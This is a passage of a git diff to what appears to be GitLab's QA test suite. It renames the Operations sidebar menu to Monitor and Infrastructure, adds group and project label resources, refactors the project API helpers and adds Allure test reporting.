+ find_element(:sidebar_menu_link, menu_item: 'Infrastructure').hover
+
+ yield
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/sub_menus/monitor.rb b/qa/qa/page/project/sub_menus/monitor.rb
new file mode 100644
index 00000000000..e3593e0a257
--- /dev/null
+++ b/qa/qa/page/project/sub_menus/monitor.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Project
+ module SubMenus
+ module Monitor
+ extend QA::Page::PageConcern
+
+ def self.included(base)
+ super
+
+ base.class_eval do
+ include QA::Page::Project::SubMenus::Common
+ end
+ end
+
+ def go_to_monitor_metrics
+ hover_monitor do
+ within_submenu do
+ click_element(:sidebar_menu_item_link, menu_item: 'Metrics')
+ end
+ end
+ end
+
+ def go_to_monitor_incidents
+ hover_monitor do
+ within_submenu do
+ click_element(:sidebar_menu_item_link, menu_item: 'Incidents')
+ end
+ end
+ end
+
+ private
+
+ def hover_monitor
+ within_sidebar do
+ scroll_to_element(:sidebar_menu_link, menu_item: 'Monitor')
+ find_element(:sidebar_menu_link, menu_item: 'Monitor').hover
+
+ yield
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/project/sub_menus/operations.rb b/qa/qa/page/project/sub_menus/operations.rb
deleted file mode 100644
index 077da697a63..00000000000
--- a/qa/qa/page/project/sub_menus/operations.rb
+++ /dev/null
@@ -1,64 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Page
- module Project
- module SubMenus
- module Operations
- extend QA::Page::PageConcern
-
- def self.included(base)
- super
-
- base.class_eval do
- include QA::Page::Project::SubMenus::Common
- end
- end
-
- def go_to_operations_environments
- hover_operations do
- within_submenu do
- click_element(:sidebar_menu_item_link, menu_item: 'Environments')
- end
- end
- end
-
- def go_to_operations_metrics
- hover_operations do
- within_submenu do
- click_element(:sidebar_menu_item_link, menu_item: 'Metrics')
- end
- end
- end
-
- def go_to_operations_kubernetes
- hover_operations do
- within_submenu do
- click_link('Kubernetes')
- end
- end
- end
-
- def go_to_operations_incidents
- hover_operations do
- within_submenu do
- click_element(:sidebar_menu_item_link, menu_item: 'Incidents')
- end
- end
- end
-
- private
-
- def hover_operations
- within_sidebar do
- scroll_to_element(:sidebar_menu_link, menu_item: 'Operations')
- find_element(:sidebar_menu_link, menu_item: 'Operations').hover
-
- yield
- end
- end
- end
- end
- end
- end
-end
diff --git a/qa/qa/page/project/sub_menus/project.rb b/qa/qa/page/project/sub_menus/project.rb
index 5499a0f71e3..cd08715bcd8 100644
--- a/qa/qa/page/project/sub_menus/project.rb
+++ b/qa/qa/page/project/sub_menus/project.rb
@@ -12,13 +12,17 @@ module QA
base.class_eval do
include QA::Page::Project::SubMenus::Common
+
+ view 'app/views/shared/nav/_scope_menu_body.html.haml' do
+ element :project_scope_link
+ end
end
end
def click_project
retry_on_exception do
within_sidebar do
- click_element(:sidebar_menu_link, menu_item: 'Project overview')
+ click_element(:project_scope_link)
end
end
end
diff --git a/qa/qa/page/project/sub_menus/settings.rb b/qa/qa/page/project/sub_menus/settings.rb
index 80f62c8efde..f35d27e658d 100644
--- a/qa/qa/page/project/sub_menus/settings.rb
+++ b/qa/qa/page/project/sub_menus/settings.rb
@@ -53,10 +53,10 @@ module QA
end
end
- def go_to_operations_settings
+ def go_to_monitor_settings
hover_settings do
within_submenu do
- click_element(:sidebar_menu_item_link, menu_item: 'Operations')
+ click_element(:sidebar_menu_item_link, menu_item: 'Monitor')
end
end
end
diff --git a/qa/qa/page/registration/sign_up.rb b/qa/qa/page/registration/sign_up.rb
index 0fb4b466e62..6d1b9cb3615 100644
--- a/qa/qa/page/registration/sign_up.rb
+++ b/qa/qa/page/registration/sign_up.rb
@@ -7,12 +7,15 @@ module QA
view 'app/views/devise/shared/_signup_box.html.haml' do
element :new_user_first_name_field
element :new_user_last_name_field
- element :new_user_username_field
element :new_user_email_field
element :new_user_password_field
element :new_user_register_button
end
+ view 'app/helpers/registrations_helper.rb' do
+ element :new_user_username_field
+ end
+
view 'app/views/registrations/welcome/show.html.haml' do
element :get_started_button
end
diff --git a/qa/qa/resource/group.rb b/qa/qa/resource/group.rb
index c7565871b0b..0f06113f85b 100644
--- a/qa/qa/resource/group.rb
+++ b/qa/qa/resource/group.rb
@@ -5,6 +5,10 @@ module QA
class Group < GroupBase
attr_accessor :description
+ attribute :full_path do
+ determine_full_path
+ end
+
attribute :sandbox do
Sandbox.fabricate_via_api! do |sandbox|
sandbox.api_client = api_client
@@ -29,6 +33,7 @@ module QA
group_show.go_to_new_subgroup
Page::Group::New.perform do |group_new|
+ group_new.click_create_group
group_new.set_path(path)
group_new.set_visibility('Public')
group_new.create
@@ -47,10 +52,16 @@ module QA
resource_web_url(api_get)
rescue ResourceNotFoundError
super
+
+ Support::Retrier.retry_on_exception(sleep_interval: 5) do
+ resource = resource_web_url(api_get)
+ populate(:runners_token)
+ resource
+ end
end
def api_get_path
- "/groups/#{CGI.escape("#{sandbox.path}/#{path}")}"
+ "/groups/#{CGI.escape(determine_full_path)}"
end
def api_post_body
@@ -93,6 +104,32 @@ module QA
'Timed out while waiting for the group repository storage move to finish'
)
end
+
+ private
+
+ # Determine the path up to the root group.
+ #
+ # This is equivalent to the full_path API attribute. We can't use the full_path attribute
+ # because it depends on the group being fabricated first, and we use this method to help
+ # _check_ if the group exists.
+ #
+ # @param [QA::Resource::GroupBase] sandbox the immediate parent group of this group
+ # @param [String] path the path name of this group (the leaf, not the full path)
+ # @return [String]
+ def determine_full_path
+ determine_parent_group_paths(sandbox, path)
+ end
+
+ # Recursively traverse the parents of this group up to the root group.
+ #
+ # @param [QA::Resource::GroupBase] parent the immediate parent group
+ # @param [String] path the path traversed so far
+ # @return [String]
+ def determine_parent_group_paths(parent, path)
+ return "#{parent.path}/#{path}" unless parent.respond_to?(:sandbox)
+
+ determine_parent_group_paths(parent.sandbox, "#{parent.path}/#{path}")
+ end
end
end
end
diff --git a/qa/qa/resource/group_base.rb b/qa/qa/resource/group_base.rb
index bdd442a1c8b..025d98f50e0 100644
--- a/qa/qa/resource/group_base.rb
+++ b/qa/qa/resource/group_base.rb
@@ -14,6 +14,29 @@ module QA
attribute :name
attribute :full_path
+ # Get group labels
+ #
+ # @return [Array<QA::Resource::GroupLabel>]
+ def labels
+ parse_body(api_get_from("#{api_get_path}/labels")).map do |label|
+ GroupLabel.new.tap do |resource|
+ resource.api_client = api_client
+ resource.group = self
+ resource.id = label[:id]
+ resource.title = label[:name]
+ resource.description = label[:description]
+ resource.color = label[:color]
+ end
+ end
+ end
+
+ # API get path
+ #
+ # @return [String]
+ def api_get_path
+ raise NotImplementedError
+ end
+
# API post path
#
# @return [String]
@@ -58,15 +81,21 @@ module QA
def comparable_group
reload! if api_response.nil?
- api_resource.except(
- :id,
- :web_url,
- :visibility,
- :full_name,
- :full_path,
- :created_at,
- :parent_id,
- :runners_token
+ api_resource.slice(
+ :name,
+ :path,
+ :description,
+ :emails_disabled,
+ :lfs_enabled,
+ :mentions_disabled,
+ :project_creation_level,
+ :request_access_enabled,
+ :require_two_factor_authentication,
+ :share_with_group_lock,
+ :subgroup_creation_level,
+ :two_factor_grace_perion
+ # TODO: Add back visibility comparison once https://gitlab.com/gitlab-org/gitlab/-/issues/331252 is fixed
+ # :visibility
)
end
end
diff --git a/qa/qa/resource/group_label.rb b/qa/qa/resource/group_label.rb
new file mode 100644
index 00000000000..d512dfc6a89
--- /dev/null
+++ b/qa/qa/resource/group_label.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module QA
+ module Resource
+ class GroupLabel < LabelBase
+ attribute :group do
+ Group.fabricate! do |resource|
+ resource.name = 'group-with-label'
+ end
+ end
+
+ def fabricate!
+ raise NotImplementedError
+ end
+
+ def api_post_path
+ "/groups/#{CGI.escape(group.full_path)}/labels"
+ end
+
+ def api_get_path
+ "/groups/#{CGI.escape(group.full_path)}/labels/#{id}"
+ end
+ end
+ end
+end
diff --git a/qa/qa/resource/kubernetes_cluster/project_cluster.rb b/qa/qa/resource/kubernetes_cluster/project_cluster.rb
index 78a24cdb677..b66a75d978b 100644
--- a/qa/qa/resource/kubernetes_cluster/project_cluster.rb
+++ b/qa/qa/resource/kubernetes_cluster/project_cluster.rb
@@ -12,22 +12,22 @@ module QA
end
attribute :ingress_ip do
- Page::Project::Operations::Kubernetes::Show.perform(&:ingress_ip)
+ Page::Project::Infrastructure::Kubernetes::Show.perform(&:ingress_ip)
end
def fabricate!
project.visit!
Page::Project::Menu.perform(
- &:go_to_operations_kubernetes)
+ &:go_to_infrastructure_kubernetes)
- Page::Project::Operations::Kubernetes::Index.perform(
+ Page::Project::Infrastructure::Kubernetes::Index.perform(
&:add_kubernetes_cluster)
- Page::Project::Operations::Kubernetes::Add.perform(
+ Page::Project::Infrastructure::Kubernetes::Add.perform(
&:add_existing_cluster)
- Page::Project::Operations::Kubernetes::AddExisting.perform do |cluster_page|
+ Page::Project::Infrastructure::Kubernetes::AddExisting.perform do |cluster_page|
cluster_page.set_cluster_name(@cluster.cluster_name)
cluster_page.set_api_url(@cluster.api_url)
cluster_page.set_ca_certificate(@cluster.ca_certificate)
@@ -36,7 +36,7 @@ module QA
cluster_page.add_cluster!
end
- Page::Project::Operations::Kubernetes::Show.perform do |show|
+ Page::Project::Infrastructure::Kubernetes::Show.perform do |show|
# We must wait a few seconds for permissions to be set up correctly for new cluster
sleep 25
diff --git a/qa/qa/resource/label.rb b/qa/qa/resource/label.rb
deleted file mode 100644
index 6b0b0184130..00000000000
--- a/qa/qa/resource/label.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-# frozen_string_literal: true
-
-require 'securerandom'
-
-module QA
- module Resource
- class Label < Base
- attr_accessor :description, :color
-
- attribute :id
- attribute :title
-
- attribute :project do
- Project.fabricate! do |resource|
- resource.name = 'project-with-label'
- end
- end
-
- def initialize
- @title = "qa-test-#{SecureRandom.hex(8)}"
- @description = 'This is a test label'
- @color = '#0033CC'
- end
-
- def fabricate!
- project.visit!
-
- Page::Project::Menu.perform(&:go_to_labels)
- Page::Label::Index.perform(&:click_new_label_button)
-
- Page::Label::New.perform do |new_page|
- new_page.fill_title(@title)
- new_page.fill_description(@description)
- new_page.fill_color(@color)
- new_page.click_label_create_button
- end
- end
-
- def resource_web_url(resource)
- super
- rescue ResourceURLMissingError
- # this particular resource does not expose a web_url property
- end
-
- def api_get_path
- raise NotImplementedError, "The Labels API doesn't expose a single-resource endpoint so this method cannot be properly implemented."
- end
-
- def api_post_path
- "/projects/#{project.id}/labels"
- end
-
- def api_post_body
- {
- color: @color,
- name: @title
- }
- end
- end
- end
-end
diff --git a/qa/qa/resource/label_base.rb b/qa/qa/resource/label_base.rb
new file mode 100644
index 00000000000..14ddd0809ea
--- /dev/null
+++ b/qa/qa/resource/label_base.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+require 'securerandom'
+
+module QA
+ module Resource
+ # Base label class for GroupLabel and ProjectLabel
+ #
+ class LabelBase < Base
+ attr_accessor :title, :description, :color
+
+ attribute :id
+ attribute :description_html
+ attribute :text_color
+ attribute :subscribed
+
+ def initialize
+ @title = "qa-test-#{SecureRandom.hex(8)}"
+ @description = 'This is a test label'
+ @color = '#0033CC'
+ end
+
+ def fabricate!
+ Page::Label::Index.perform(&:click_new_label_button)
+ Page::Label::New.perform do |new_page|
+ new_page.fill_title(title)
+ new_page.fill_description(description)
+ new_page.fill_color(color)
+ new_page.click_label_create_button
+ end
+ end
+
+ # Resource web url
+ #
+ # @param [Hash] resource
+ # @return [String]
+ def resource_web_url(resource)
+ super
+ rescue ResourceURLMissingError
+ # this particular resource does not expose a web_url property
+ end
+
+ # Params for label creation
+ #
+ # @return [Hash]
+ def api_post_body
+ {
+ name: title,
+ color: color,
+ description: description
+ }
+ end
+
+ # Object comparison
+ #
+ # @param [QA::Resource::GroupBase] other
+ # @return [Boolean]
+ def ==(other)
+ other.is_a?(LabelBase) && comparable_label == other.comparable_label
+ end
+
+ # Override inspect for a better rspec failure diff output
+ #
+ # @return [String]
+ def inspect
+ JSON.pretty_generate(comparable_label)
+ end
+
+ # protected
+
+ # Return subset of fields for comparing groups
+ #
+ # @return [Hash]
+ def comparable_label
+ reload! unless api_response
+
+ api_response.slice(
+ :name,
+ :description,
+ :description_html,
+ :color,
+ :text_color,
+ :subscribed
+ )
+ end
+ end
+ end
+end
diff --git a/qa/qa/resource/project.rb b/qa/qa/resource/project.rb
index 96a60381146..f8cf816d6e4 100644
--- a/qa/qa/resource/project.rb
+++ b/qa/qa/resource/project.rb
@@ -10,10 +10,10 @@ module QA
include Visibility
attr_accessor :repository_storage # requires admin access
- attr_writer :initialize_with_readme
- attr_writer :auto_devops_enabled
- attr_writer :github_personal_access_token
- attr_writer :github_repository_path
+ attr_writer :initialize_with_readme,
+ :auto_devops_enabled,
+ :github_personal_access_token,
+ :github_repository_path
attribute :id
attribute :name
@@ -40,15 +40,11 @@ module QA
end
attribute :repository_ssh_location do
- Page::Project::Show.perform do |show|
- show.repository_clone_ssh_location
- end
+ Page::Project::Show.perform(&:repository_clone_ssh_location)
end
attribute :repository_http_location do
- Page::Project::Show.perform do |show|
- show.repository_clone_http_location
- end
+ Page::Project::Show.perform(&:repository_clone_http_location)
end
def initialize
@@ -104,7 +100,7 @@ module QA
def has_file?(file_path)
response = repository_tree
- raise ResourceNotFoundError, "#{response[:message]}" if response.is_a?(Hash) && response.has_key?(:message)
+ raise ResourceNotFoundError, (response[:message]).to_s if response.is_a?(Hash) && response.has_key?(:message)
response.any? { |file| file[:path] == file_path }
end
@@ -115,14 +111,14 @@ module QA
def has_branches?(branches)
branches.all? do |branch|
- response = get(Runtime::API::Request.new(api_client, "#{api_repository_branches_path}/#{branch}").url)
+ response = get(request_url("#{api_repository_branches_path}/#{branch}"))
response.code == HTTP_STATUS_OK
end
end
def has_tags?(tags)
tags.all? do |tag|
- response = get(Runtime::API::Request.new(api_client, "#{api_repository_tags_path}/#{tag}").url)
+ response = get(request_url("#{api_repository_tags_path}/#{tag}"))
response.code == HTTP_STATUS_OK
end
end
@@ -135,6 +131,18 @@ module QA
"/projects/#{id}"
end
+ def api_put_path
+ "/projects/#{id}"
+ end
+
+ def api_post_path
+ '/projects'
+ end
+
+ def api_delete_path
+ "/projects/#{id}"
+ end
+
def api_get_archive_path(type = 'tar.gz')
"#{api_get_path}/repository/archive.#{type}"
end
@@ -183,12 +191,20 @@ module QA
"#{api_get_path}/pipeline_schedules"
end
- def api_put_path
- "/projects/#{id}"
+ def api_issues_path
+ "#{api_get_path}/issues"
end
- def api_post_path
- '/projects'
+ def api_labels_path
+ "#{api_get_path}/labels"
+ end
+
+ def api_milestones_path
+ "#{api_get_path}/milestones"
+ end
+
+ def api_wikis_path
+ "#{api_get_path}/wikis"
end
def api_post_body
@@ -211,25 +227,25 @@ module QA
post_body
end
- def api_delete_path
- "/projects/#{id}"
- end
-
def change_repository_storage(new_storage)
put_body = { repository_storage: new_storage }
- response = put Runtime::API::Request.new(api_client, api_put_path).url, put_body
+ response = put(request_url(api_put_path), put_body)
unless response.code == HTTP_STATUS_OK
- raise ResourceUpdateFailedError, "Could not change repository storage to #{new_storage}. Request returned (#{response.code}): `#{response}`."
+ raise(
+ ResourceUpdateFailedError,
+ "Could not change repository storage to #{new_storage}. Request returned (#{response.code}): `#{response}`."
+ )
end
- wait_until(sleep_interval: 1) { Runtime::API::RepositoryStorageMoves.has_status?(self, 'finished', new_storage) }
+ wait_until(sleep_interval: 1) do
+ Runtime::API::RepositoryStorageMoves.has_status?(self, 'finished', new_storage)
+ end
rescue Support::Repeater::RepeaterConditionExceededError
- raise Runtime::API::RepositoryStorageMoves::RepositoryStorageMovesError, 'Timed out while waiting for the repository storage move to finish'
- end
-
- def commits
- parse_body(get(Runtime::API::Request.new(api_client, api_commits_path).url))
+ raise(
+ Runtime::API::RepositoryStorageMoves::RepositoryStorageMovesError,
+ 'Timed out while waiting for the repository storage move to finish'
+ )
end
def default_branch
@@ -237,7 +253,7 @@ module QA
end
def import_status
- response = get Runtime::API::Request.new(api_client, "/projects/#{id}/import").url
+ response = get(request_url("/projects/#{id}/import"))
unless response.code == HTTP_STATUS_OK
raise ResourceQueryError, "Could not get import status. Request returned (#{response.code}): `#{response}`."
@@ -250,8 +266,14 @@ module QA
result[:import_status]
end
+ def commits
+ response = get(request_url(api_commits_path))
+ parse_body(response)
+ end
+
def merge_requests
- parse_body(get(Runtime::API::Request.new(api_client, api_merge_requests_path).url))
+ response = get(request_url(api_merge_requests_path))
+ parse_body(response)
end
def merge_request_with_title(title)
@@ -259,43 +281,65 @@ module QA
end
def runners(tag_list: nil)
- response = if tag_list
- get Runtime::API::Request.new(api_client, "#{api_runners_path}?tag_list=#{tag_list.compact.join(',')}").url
- else
- get Runtime::API::Request.new(api_client, "#{api_runners_path}").url
- end
+ url = tag_list ? "#{api_runners_path}?tag_list=#{tag_list.compact.join(',')}" : api_runners_path
+ response = get(request_url(url, per_page: '100'))
parse_body(response)
end
def registry_repositories
- response = get Runtime::API::Request.new(api_client, "#{api_registry_repositories_path}").url
+ response = get(request_url(api_registry_repositories_path))
parse_body(response)
end
def packages
- response = get Runtime::API::Request.new(api_client, "#{api_packages_path}").url
+ response = get(request_url(api_packages_path))
parse_body(response)
end
def repository_branches
- parse_body(get(Runtime::API::Request.new(api_client, api_repository_branches_path).url))
+ response = get(request_url(api_repository_branches_path))
+ parse_body(response)
end
def repository_tags
- parse_body(get(Runtime::API::Request.new(api_client, api_repository_tags_path).url))
+ response = get(request_url(api_repository_tags_path))
+ parse_body(response)
end
def repository_tree
- parse_body(get(Runtime::API::Request.new(api_client, api_repository_tree_path).url))
+ response = get(request_url(api_repository_tree_path))
+ parse_body(response)
end
def pipelines
- parse_body(get(Runtime::API::Request.new(api_client, api_pipelines_path).url))
+ response = get(request_url(api_pipelines_path))
+ parse_body(response)
end
def pipeline_schedules
- parse_body(get(Runtime::API::Request.new(api_client, api_pipeline_schedules_path).url))
+ response = get(request_url(api_pipeline_schedules_path))
+ parse_body(response)
+ end
+
+ def issues
+ response = get(request_url(api_issues_path))
+ parse_body(response)
+ end
+
+ def labels
+ response = get(request_url(api_labels_path))
+ parse_body(response)
+ end
+
+ def milestones
+ response = get(request_url(api_milestones_path))
+ parse_body(response)
+ end
+
+ def wikis
+ response = get(request_url(api_wikis_path))
+ parse_body(response)
end
private
@@ -307,6 +351,14 @@ module QA
Git::Location.new(api_resource[:http_url_to_repo])
api_resource
end
+
+ # Get api request url
+ #
+ # @param [String] path
+ # @return [String]
+ def request_url(path, **opts)
+ Runtime::API::Request.new(api_client, path, **opts).url
+ end
end
end
end
diff --git a/qa/qa/resource/project_imported_from_github.rb b/qa/qa/resource/project_imported_from_github.rb
index b06a7fe4e3d..93cd166a191 100644
--- a/qa/qa/resource/project_imported_from_github.rb
+++ b/qa/qa/resource/project_imported_from_github.rb
@@ -7,23 +7,19 @@ module QA
class ProjectImportedFromGithub < Resource::Project
def fabricate!
self.import = true
- super
- group.visit!
+ Page::Main::Menu.perform(&:go_to_create_project)
- Page::Group::Show.perform(&:go_to_new_project)
- go_to_import_page
- Page::Project::New.perform(&:click_github_link)
+ Page::Project::New.perform do |project_page|
+ project_page.click_import_project
+ project_page.click_github_link
+ end
Page::Project::Import::Github.perform do |import_page|
import_page.add_personal_access_token(@github_personal_access_token)
import_page.import!(@github_repository_path, @name)
end
end
-
- def go_to_import_page
- Page::Project::New.perform(&:click_import_project)
- end
end
end
end
diff --git a/qa/qa/resource/project_label.rb b/qa/qa/resource/project_label.rb
new file mode 100644
index 00000000000..6b2943a801e
--- /dev/null
+++ b/qa/qa/resource/project_label.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module QA
+ module Resource
+ class ProjectLabel < LabelBase
+ attribute :project do
+ Project.fabricate! do |resource|
+ resource.name = 'project-with-label'
+ end
+ end
+
+ def fabricate!
+ project.visit!
+ Page::Project::Menu.perform(&:go_to_labels)
+
+ super
+ end
+
+ def api_post_path
+ "/projects/#{project.id}/labels"
+ end
+
+ def api_get_path
+ "/projects/#{project.id}/labels/#{id}"
+ end
+ end
+ end
+end
diff --git a/qa/qa/resource/sandbox.rb b/qa/qa/resource/sandbox.rb
index 913fd6ab9ec..b351d78a184 100644
--- a/qa/qa/resource/sandbox.rb
+++ b/qa/qa/resource/sandbox.rb
@@ -11,6 +11,8 @@ module QA
@path = Runtime::Namespace.sandbox_name
end
+ alias_method :full_path, :path
+
def fabricate!
Page::Main::Menu.perform(&:go_to_groups)
diff --git a/qa/qa/runtime/allure_report.rb b/qa/qa/runtime/allure_report.rb
new file mode 100644
index 00000000000..5e9ae3e7bbe
--- /dev/null
+++ b/qa/qa/runtime/allure_report.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+module QA
+ module Runtime
+ class AllureReport
+ class << self
+ # Configure allure reports
+ #
+ # @return [void]
+ def configure!
+ return unless Env.generate_allure_report?
+
+ require 'allure-rspec'
+
+ configure_allure
+ configure_attachments
+ configure_rspec
+ end
+
+ private
+
+ # Configure allure reporter
+ #
+ # @return [void]
+ def configure_allure
+ # Match job names like ee:relative, ce:update etc. and set as execution environment
+ env_matcher = /^(?<env>\w{2}:\S+)/
+
+ AllureRspec.configure do |config|
+ config.results_directory = 'tmp/allure-results'
+ config.clean_results_directory = true
+
+ # Set custom environment name to separate same specs executed on different environments
+ if Env.running_in_ci? && Env.ci_job_name.match?(env_matcher)
+ config.environment = Env.ci_job_name.match(env_matcher).named_captures['env']
+ end
+ end
+ end
+
+ # Set up failure screenshot attachments
+ #
+ # @return [void]
+ def configure_attachments
+ Capybara::Screenshot.after_save_screenshot do |path|
+ Allure.add_attachment(
+ name: 'screenshot',
+ source: File.open(path),
+ type: Allure::ContentType::PNG,
+ test_case: true
+ )
+ end
+ Capybara::Screenshot.after_save_html do |path|
+ Allure.add_attachment(
+ name: 'html',
+ source: File.open(path),
+ type: 'text/html',
+ test_case: true
+ )
+ end
+ end
+
+ # Configure rspec
+ #
+ # @return [void]
+ def configure_rspec
+ RSpec.configure do |config|
+ config.formatter = AllureRspecFormatter
+
+ config.before do |example|
+ next if example.attempts && example.attempts > 0
+
+ testcase = example.metadata[:testcase]
+ example.tms('Testcase', testcase) if testcase
+
+ issue = example.metadata.dig(:quarantine, :issue)
+ example.issue('Issue', issue) if issue
+
+ example.add_link(name: "Job(#{Env.ci_job_name})", url: Env.ci_job_url) if Env.running_in_ci?
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/runtime/env.rb b/qa/qa/runtime/env.rb
index e649084a394..ccb87147a6e 100644
--- a/qa/qa/runtime/env.rb
+++ b/qa/qa/runtime/env.rb
@@ -2,7 +2,6 @@
require 'gitlab/qa'
require 'uri'
-require 'active_support/core_ext/object/blank'
module QA
module Runtime
@@ -53,8 +52,12 @@ module QA
enabled?(ENV['QA_DEBUG'], default: false)
end
+ def generate_allure_report?
+ enabled?(ENV['QA_GENERATE_ALLURE_REPORT'], default: false)
+ end
+
def default_branch
- ENV['QA_DEFAULT_BRANCH'] || 'master'
+ ENV['QA_DEFAULT_BRANCH'] || 'main'
end
def log_destination
diff --git a/qa/qa/runtime/scenario.rb b/qa/qa/runtime/scenario.rb
index 3662ebe671b..d44cc846128 100644
--- a/qa/qa/runtime/scenario.rb
+++ b/qa/qa/runtime/scenario.rb
@@ -19,15 +19,15 @@ module QA
define_singleton_method(attribute) do
attributes[attribute.to_sym].tap do |value|
- if value.to_s.empty?
- raise ArgumentError, "Empty `#{attribute}` attribute!"
- end
+ raise ArgumentError, "Empty `#{attribute}` attribute!" if value.to_s.empty?
end
end
end
def from_env(var)
- JSON.parse(Runtime::Env.runtime_scenario_attributes).each { |k, v| define(k, v) }
+ return if var.blank?
+
+ JSON.parse(var).each { |k, v| define(k, v) }
end
def method_missing(name, *)
diff --git a/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb
index 9bf3474ba5a..08b71258cc6 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb
@@ -6,7 +6,7 @@ module QA
RSpec.describe 'Create' do
context 'Gitaly' do
# Issue to track removal of feature flag: https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/602
- describe 'Distributed reads', :orchestrated, :gitaly_cluster, :skip_live_env, :requires_admin do
+ describe 'Distributed reads', :orchestrated, :gitaly_cluster, :skip_live_env, :requires_admin, quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/322814', type: :investigating } do
let(:number_of_reads_per_loop) { 9 }
let(:praefect_manager) { Service::PraefectManager.new }
let(:project) do
diff --git a/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb
index 7e924475437..396d3f52798 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb
@@ -4,7 +4,7 @@ require 'parallel'
module QA
RSpec.describe 'Create' do
- context 'Gitaly Cluster replication queue', :orchestrated, :gitaly_cluster, :skip_live_env do
+ context 'Gitaly Cluster replication queue', :orchestrated, :gitaly_cluster, :skip_live_env, quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/331989', type: :investigating } do
let(:praefect_manager) { Service::PraefectManager.new }
let(:project) do
Resource::Project.fabricate! do |project|
diff --git a/qa/qa/specs/features/browser_ui/1_manage/group/bulk_import_group_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/group/bulk_import_group_spec.rb
index 055300122d4..d4c4ec5611a 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/group/bulk_import_group_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/group/bulk_import_group_spec.rb
@@ -2,20 +2,21 @@
module QA
RSpec.describe 'Manage', :requires_admin do
- describe 'Group bulk import' do
- let!(:api_client) { Runtime::API::Client.as_admin }
+ describe 'Bulk group import' do
+ let!(:admin_api_client) { Runtime::API::Client.as_admin }
let!(:user) do
Resource::User.fabricate_via_api! do |usr|
- usr.api_client = api_client
+ usr.api_client = admin_api_client
usr.hard_delete_on_api_removal = true
end
end
- let!(:personal_access_token) { Runtime::API::Client.new(user: user).personal_access_token }
+ let!(:api_client) { Runtime::API::Client.new(user: user) }
+ let!(:personal_access_token) { api_client.personal_access_token }
let!(:sandbox) do
Resource::Sandbox.fabricate_via_api! do |group|
- group.api_client = api_client
+ group.api_client = admin_api_client
end
end
@@ -37,6 +38,7 @@ module QA
let(:imported_group) do
Resource::Group.new.tap do |group|
group.api_client = api_client
+ group.sandbox = sandbox
group.path = source_group.path
end
end
@@ -54,42 +56,65 @@ module QA
end
before(:all) do
- Runtime::Feature.enable(:bulk_import)
+ Runtime::Feature.enable(:bulk_import) unless staging?
Runtime::Feature.enable(:top_level_group_creation_enabled) if staging?
end
before do
sandbox.add_member(user, Resource::Members::AccessLevel::MAINTAINER)
- source_group.add_member(user, Resource::Members::AccessLevel::MAINTAINER)
Flow::Login.sign_in(as: user)
- Page::Main::Menu.new.go_to_import_group
- Page::Group::New.new.connect_gitlab_instance(Runtime::Scenario.gitlab_address, personal_access_token)
+ Page::Main::Menu.perform(&:go_to_create_group)
+ Page::Group::New.perform do |group|
+ group.switch_to_import_tab
+ group.connect_gitlab_instance(Runtime::Scenario.gitlab_address, personal_access_token)
+ end
end
+ # Non blocking issues:
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/331252
it(
- 'performs bulk group import from another gitlab instance',
+ 'imports group with subgroups and labels',
testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1785',
- exclude: { job: ['ce:relative_url', 'ee:relative_url'] } # https://gitlab.com/gitlab-org/gitlab/-/issues/330344
+ quarantine: {
+ only: { job: 'relative_url' },
+ issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/330344',
+ type: :bug
+ }
) do
+ Resource::GroupLabel.fabricate_via_api! do |label|
+ label.api_client = api_client
+ label.group = source_group
+ label.title = "source-group-#{SecureRandom.hex(4)}"
+ end
+ Resource::GroupLabel.fabricate_via_api! do |label|
+ label.api_client = api_client
+ label.group = subgroup
+ label.title = "subgroup-#{SecureRandom.hex(4)}"
+ end
+
Page::Group::BulkImport.perform do |import_page|
import_page.import_group(source_group.path, sandbox.path)
aggregate_failures do
- expect(import_page).to have_imported_group(source_group.path, wait: 120)
- expect(imported_group).to eq(source_group)
- expect(imported_subgroup).to eq(subgroup)
+ expect(import_page).to have_imported_group(source_group.path, wait: 180)
+
+ expect { imported_group.reload! }.to eventually_eq(source_group).within(duration: 10)
+ expect { imported_group.labels }.to eventually_include(*source_group.labels).within(duration: 10)
+
+ # Do not validate subgroups until https://gitlab.com/gitlab-org/gitlab/-/issues/332818 is resolved
+ # expect { imported_subgroup.reload! }.to eventually_eq(subgroup).within(duration: 30)
+ # expect { imported_subgroup.labels }.to eventually_include(*subgroup.labels).within(duration: 30)
end
end
end
after do
user.remove_via_api!
- source_group.remove_via_api!
end
after(:all) do
- Runtime::Feature.disable(:bulk_import)
+ Runtime::Feature.disable(:bulk_import) unless staging?
Runtime::Feature.disable(:top_level_group_creation_enabled) if staging?
end
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/group/create_group_with_mattermost_team_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/group/create_group_with_mattermost_team_spec.rb
index 7bcc1fa4e1c..192c1a3908b 100644
